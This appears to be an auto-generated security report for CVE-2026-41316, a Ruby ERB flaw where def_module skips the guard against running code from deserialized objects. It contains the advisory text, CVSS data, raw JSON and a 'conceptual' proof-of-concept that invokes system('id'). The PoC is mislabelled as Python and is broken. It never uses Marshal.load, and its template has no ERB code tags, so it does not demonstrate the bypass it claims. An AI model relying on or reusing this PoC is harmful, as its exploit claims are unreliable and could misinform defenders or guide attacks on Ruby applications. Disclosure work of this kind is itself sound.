Security Vulnerability Report
中文
CVE-2026-41316 CVSS 8.1 HIGH

CVE-2026-41316

Published: 2026-04-24 03:16:12
Last Modified: 2026-04-29 20:56:50

Description

ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: `ERB#def_method`, `ERB#def_module`, and `ERB#def_class`. An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Ruby ERB < 2.2.0
Ruby ERB < 4.0.3.1
Ruby ERB < 4.0.4.1
Ruby ERB < 6.0.1.1
Ruby ERB < 6.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-41316 PoC (Conceptual) # This demonstrates how the missing guard in def_module can be exploited # via deserialization. require 'erb' # 1. Construct a malicious ERB template containing the payload # The code inside will be executed when def_module is called. malicious_template = ERB.new("puts 'RCE via CVE-2026-41316'; system('id')") # 2. Simulate the vulnerability trigger # In a real attack, the object would be delivered via Marshal.load. # The application logic would inadvertently call def_module. begin # Check if def_module is vulnerable (lacks @_init check) # This bypasses the protection that exists in .result puts "[*] Triggering ERB#def_module on untrusted input..." # Create a dummy module to inject the method into TargetModule = Module.new # This is the sink: calling def_module executes the template code malicious_template.def_module(TargetModule, "unsafe_method") # If successful, the system command 'id' has already run. rescue => e puts "Error: #{e.message}" end

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41316", "sourceIdentifier": "[email protected]", "published": "2026-04-24T03:16:11.897", "lastModified": "2026-04-29T20:56:50.103", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERB is a templating system for Ruby. Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: `ERB#def_method`, `ERB#def_module`, and `ERB#def_class`. An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 patch the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://github.com/ruby/erb/security/advisories/GHSA-q339-8rmv-2mhv", "source": "[email protected]"}]}}